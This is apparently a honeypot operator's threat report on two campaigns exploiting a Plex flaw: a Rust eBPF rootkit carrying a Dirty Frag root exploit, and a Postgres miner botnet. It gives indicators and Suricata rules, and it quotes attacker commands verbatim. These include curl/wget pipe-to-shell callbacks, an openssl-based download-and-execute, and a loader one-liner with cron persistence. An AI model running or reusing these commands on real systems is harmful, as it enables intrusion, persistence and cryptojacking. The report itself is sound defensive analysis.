plex2shell, part two: a Rust eBPF rootkit with Dirty Frag, and a Postgres miner botnet joins in

Executive summary

Our first plex2shell brief covered one operator and noted that others had been driving the exploit at our Plex sensors without our capturing a payload. Overnight, two of them finished the chain. Their payloads point in opposite directions. One drops a 6.4 MB Rust binary that loads six eBPF programs to hide its processes and files, block debuggers and kill signals, and rewrite what other programs read from disk. It carries the same Dirty Frag kernel exploit we found in the first operator's dropper, and it is wrapped in a virtual-machine obfuscator. The other is a cryptojacking botnet we have been watching since mid-September on Postgres, Redis and Docker. It added a Plex deployer that hides its miner inside Plex's own cache directory.

We decoded every carrier ourselves, recovered each follow-on stage, ran the rootkit in our sandbox, and analyzed it statically. We have not recovered the payload the rootkit carries: it is encrypted inside the binary, and our sandbox run did not reach the point where it is unpacked. This report says what the binary is built to do and marks what we watched it do.

Operators

The two operators share a scanner fingerprint: both send vfyclient01 and poc_<number> client IDs. The operator in our first brief used plexscan- IDs instead. We read the shared IDs as both operators running the same exploit script or close derivatives of it, not as evidence that they are the same actor. Their loaders, hosting, payloads and wallets do not overlap.

Infrastructure

Operator A
  91.92.40.202  (AS197170 TechTies Inc., NL)
    exploit + carrier server: 91-92-40-202.sslip.io:<random port>/carrier.mp4
    stage server:             91-92-40-202.sslip.io:<random port>/s
    output sink:              91-92-40-202.sslip.io:<port>/out/<16 hex>
        |
        v
  cdn.valorant.su  (Cloudflare-fronted; registered 2026-10-17, RU-CENTER)
    GET /loader  ->  Rust rootkit, served only to User-Agent: Mozilla/5.0

Operator B
  130.94.112.118  (AS154177 LIGHT NODE LIMITED, RO)
    exploit + carrier server :20037, script mirror :18899, pool relay :10001
  89.125.187.222  (AS212477 RoyaleHosting BV, NL)
    script mirror :18899, control panel https://:5432
  103.7.55.233    (AS57043 Hostkey B.V., DE)
    pool proxy :443 / :10001, panel fallback :80 / :8443
  MoneroOcean (gulf / de / fr / fi .moneroocean.stream), bore.pub relays

Operator A never puts its own IP in a URL. Every callback, carrier and stage URL uses the sslip.io wildcard DNS name for 91.92.40.202, on a new high port each time. The rootkit download is the exception. It sits on a separate domain behind Cloudflare, so the binary's true origin is hidden and its address can't be blocked without blocking Cloudflare. Our pipeline's first fetch of /loader got a 403. The same request with User-Agent: Mozilla/5.0, the header the attacker's script sends, returned the file. The server's Last-Modified header was 2026-09-23 13:36:30 GMT, almost a month before the domain was registered on 2026-10-17, which suggests the binary predates this campaign.

The rootkit

From video to rootkit in four hops

The carrier for operator A works like the first operator's. A 640×360 MP4 hides a 13,976-byte shared object, which Plex's transcoder loads from its Codecs directory. The object holds one function in .init_array, so the loader runs it as soon as the object is loaded:

// sha256 6138d273…, function _p @ 0x1020 (12 bytes); Ghidra decompilation
void _p(void)
{
  system("/bin/sh -c 'curl -fsSk --max-time 20 http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh || wget -qO- --no-check-certificate http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh' &");
}

/s is a 2,161-byte shell script. It base64-decodes a command, which base64-decodes a second command, and runs it. Then it deletes the planted zz*.so files for this target and POSTs everything the command printed to /out/<16 hex> on the same server. The three /s scripts we collected differ only in that output ID and the target's Codecs path. The inner command is identical in all three. It skips curl and wget entirely and pipes a raw HTTP request through openssl s_client:

rm -rf hi 2>/dev/null; printf "GET /loader HTTP/1.1\r\nHost: cdn.valorant.su\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n" \
  | openssl s_client -quiet -ign_eof -connect cdn.valorant.su:443 -servername cdn.valorant.su 2>/dev/null \
  | perl -e '…strip headers, honor Content-Length, write the body to ./hi…' \
  && chmod +x hi && ./hi -c -d 2>&1; rm -rf hi 2>/dev/null

What the binary is

a8513f37… is a 6,464,360-byte statically linked, stripped x86-64 executable built with Rust 1.98.0 for x86_64-unknown-linux-musl. Its build paths name the crate experiment. VirusTotal had already seen it: 31 of 65 engines flag it, with the consensus label trojan.getshell/dirtyfrag, and ClamAV calls it Unix.Exploit.CopyFail. Our static-analysis pipeline also flagged it as UPX-packed. That is a false positive: the binary isn't packed, and the UPX! marker sits inside a block of ordinary strings. Its dependencies tell most of the story:

Six eBPF programs

The skeleton files hide_pid.skel.rs, hide_files.skel.rs, ghost.skel.rs, anti_ptrace.skel.rs, protect_signal.skel.rs and cleaner.skel.rs are compiled in. So are the program and map names they load (ghost_files, ghost_fds, pending_reads, pending_stats, pending_ghost_dups) and their own log messages:

Beyond eBPF, the userland side can rewrite other processes. Strings for an [execve] replaced arg in PID path and a [file-read] regex replaced in PID … /proc/<pid>/mem path show it patching argument vectors and file buffers in other processes' memory. A preload.rs module with HIDECOMM_SENTINEL and HIDENAMES_SENTINEL placeholders and a .so.1 suffix points to a second, LD_PRELOAD-based hider for kernels where eBPF is unavailable.

Dirty Frag, again

A block of C strings at 0x931785–0x93199b covers the same Dirty Frag technique as the exploit in the first operator's dropper:

• user-namespace setup through /proc/self/uid_map, gid_map and setgroups (deny);
• the strings rxrpc, evil and evil%d, the socket family and key names the exploit uses;
• the AEAD algorithm names authencesn(hmac(sha256),cbc(aes)), authencesn(hmac(md5),ecb(cipher_null)) and rfc4106(gcm(aes));
• a target file that defaults to /etc/passwd and the replacement root entry root::0:0, followed by /usr/bin/su;
• a cleanup command, ( printf '3' > /proc/sys/vm/drop_caches ), which drops the poisoned page cache once root is obtained.

The tuning variables are named POC_TARGET_FILE, POC_UNSHARE, POC_NO_UNSHARE, LPE_SEED and LPE_MAX_ITERS, which suggests a public proof-of-concept compiled in largely as published. The CLI's --no-root and --only-root flags fit a tool that tries the exploit when it lands as the unprivileged plex user.

Persistence, anti-forensics and the hidden payload

• Persistence. A cron entry template, /etc/cron.d/… with @reboot root <path> attach, and a systemd unit template: Description=System Management Daemon, Type=forking, ExecStart=<path> attach, Restart=on-failure, RestartSec=30.
• Command line. attach [-d|--no-root|--only-root|--fetch-only|--single|--code] or detach. /s runs it as ./hi -c -d. -c is not in that usage string, and we could not confirm what it does.
• Embedded payload. A fetch_exec.rs module logs spawning embedded binary in memory, and /memfd: and /proc/self/fd/ strings point to it running from an in-memory file, so the payload need never touch disk. We found no plaintext ELF or zstd frame inside the binary. The payload is encrypted, and we have not recovered it.

What our sandbox saw

We ran the rootkit as root, without arguments, in an isolated, egress-controlled sandbox with a 300-second window. It ran as five threads and:

• read /etc/machine-id nine times, plus /proc/self/stat and /proc/self/cgroup;
• opened the login and system logs (utmp, wtmp, lastlog, auth.log, syslog, messages, kern.log, secure, audit.log);
• checked every /etc/passwd home directory for shell history and shell startup files;
• walked the cron directories, /etc/rc.local and /etc/profile.d;
• opened /sys/fs/bpf six times;
• read the cmdline or comm of every process and listed /tmp, /var/tmp and /dev/shm.

It then aborted (SIGABRT, exit 134) without opening a network connection. The file reads match the anti-forensics and the cleaner logic above. The binary contains the full log-path list and history filenames (.bash_history, .zsh_history, .sh_history). We did not observe it writing to them in this run.

The Postgres botnet that added Plex

Operator B's carrier loader is a stock build of the public PoC. It runs a one-liner that downloads plex_deploy.sh into /var/tmp and installs a once-a-minute crontab entry tagged # plex_deploy_bootstrap. The entry reruns the deployer until a .deployed marker exists. The deployer's comments are in Turkish ("Plex2Shell kurulum v3 — kalıcılık + killer bypass", roughly "Plex2Shell setup v3: persistence plus killer bypass"). It does five things:

1. Finds a writable, executable working directory: /var/tmp, /tmp, $HOME, the Plex data directory, or the Synology Plex package paths.
2. Downloads XMRig from /bin/xmrig on either mirror (89.125.187.222:18899 or 130.94.112.118:18899), saving it as plexd. It falls back to /bin/xmrig-static if the first build won't run, and to Python's urllib if wget and curl are missing.
3. Copies the miner into the Plex Cache directory as PlexMediaScanner, the name of a real Plex helper process. The comments call this the "killer bypass": a cleanup script looking for unfamiliar processes in temp directories will pass over a Plex-named binary in a Plex directory.
4. Fetches plex_exp.json, or plex_exp_light.json on hosts under 8 GB of RAM, and refuses to start unless it contains its own wallet prefix (846TCZ29WgxX7GDQ) and does not contain the prefix of the kit's older wallet (47p1wUQNKMAiP254). It names the worker P_<hostname>_<digits> and sets XMRig's CPU thread hint from 85% of the core count.
5. Installs a keeper script (.pxagent.sh, every minute from cron) and a watchdog (.pxwd.sh, a 45-second loop), then writes a status summary to /var/tmp/.pxinfo and /tmp/.pxinfo.

The same servers host the kit's general Linux installer in three variants (lx.sh, lx_exp.sh, lx-deney.sh; deney is Turkish for "experiment"). Its header calls it run.sh v14.14. It names its miner pg_wal or xmrigMiner and runs a companion process named ccd. It kills rival Postgres-focused miners by name (kdevtmpfsi, kinsing, pg_mem, postgres-kernel, zsvc, pdefenderd, updatecheckerd) and strips their crontab entries. It mines to MoneroOcean, directly or through relays on its own servers and on bore.pub, and, in two of the three variants, reports to a panel through an XMRig cc-client block. It also drops a small Bash scanner that probes random addresses for ports 22, 5432, 6379, 3306, 1433, 2375, 9200, 27017, 15672 and 9000, and flags Redis servers that answer without authentication. Variants that carry the older wallet have reached our sensors since 2026-09-15 from hosts in 86.38.182.0/24, 217.217.233.97, files.catbox.moe and the GitLab project mogh739/metrics-agents. Plex is a new entry point for an established operation.

Observed TTPs (MITRE ATT&CK)

Timeline

Exploit payloads

Operator A's carrier server keeps the same port open across targets, so one carrier URL served sensors for more than 40 minutes:

http://91-92-40-202.sslip.io:43349/carrier.mp4   first served 04:10:06 UTC, last seen 05:00:12 UTC, 9 sensors

Operator B's carrier loader command, as decoded from the video:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH; D=/var/tmp; [ -d $D ] || D=/tmp; cd $D;
(wget -q http://89.125.187.222:18899/plex_deploy.sh -O pd.sh || curl -s http://89.125.187.222:18899/plex_deploy.sh -o pd.sh);
if command -v crontab >/dev/null 2>&1; then (crontab -l 2>/dev/null | grep -v plex_deploy_bootstrap;
  echo "* * * * * [ -f $D/.deployed ] || /bin/sh $D/pd.sh >> $D/deploy.log 2>&1 # plex_deploy_bootstrap") | crontab - 2>/dev/null; fi;
/bin/sh pd.sh >> $D/deploy.log 2>&1

Indicators of compromise

Network

Files

Host artifacts

Wallets

846TCZ29WgxX7GDQfjmaZRBjLu9XWhJjtWoc5m2AdDXy4XUnURR8CuMAK6gdmthHXJJr6CMcSF4Na8zfGUeHhD952XrmeCn   (operator B, Plex and current lx variants)
47p1wUQNKMAiP2547VLSb8EAEgKEe2MDF9S71MPkhCcd8SZMjxQe9cpQtNcyc3V8CHFdbcP9dij31MWFAZHj5EtkL3tQvhp   (operator B, older kit since 2026-09-15)

Mitigations and detection

Suricata

alert tls $HOME_NET any -> any 443 (msg:"COWRAI plex2shell operator A rootkit host cdn.valorant.su"; flow:to_server,established; tls.sni; content:"cdn.valorant.su"; nocase; sid:9902501; rev:1;)
alert http $HOME_NET any -> any any (msg:"COWRAI plex2shell operator A stage fetch via sslip.io"; flow:to_server,established; http.host; content:"91-92-40-202.sslip.io"; nocase; sid:9902502; rev:1;)
alert http $HOME_NET any -> any 18899 (msg:"COWRAI plex2shell operator B deployer fetch"; flow:to_server,established; http.uri; content:"/plex_deploy.sh"; sid:9902503; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed honeypot fleet deployed across multiple cloud providers and geographic regions. Some nodes run a Plex Media Server lure that plays the plex2shell chain just far enough to receive the attacker's carrier video, and never decodes or executes anything. Carriers were decoded offline in an isolated environment. Follow-on stages named in each decoded command were retrieved by our collection pipeline. The rootkit was run in an isolated, egress-controlled sandbox that recorded a packet capture and a file-access trace, and was analyzed statically with a disassembler. Statements about what the rootkit is built to do come from its strings, symbols and build metadata. Statements about what it did come from the sandbox run, and the text says which is which.

IP registration data and domain registration dates come from live WHOIS lookups. Reputation figures come from live VirusTotal lookups. Infrastructure classification comes from a commercial IP-intelligence API. All lookups were made on the publication date. Event counts and times were queried from the fleet's event store at write time. Times are when our collector received each event.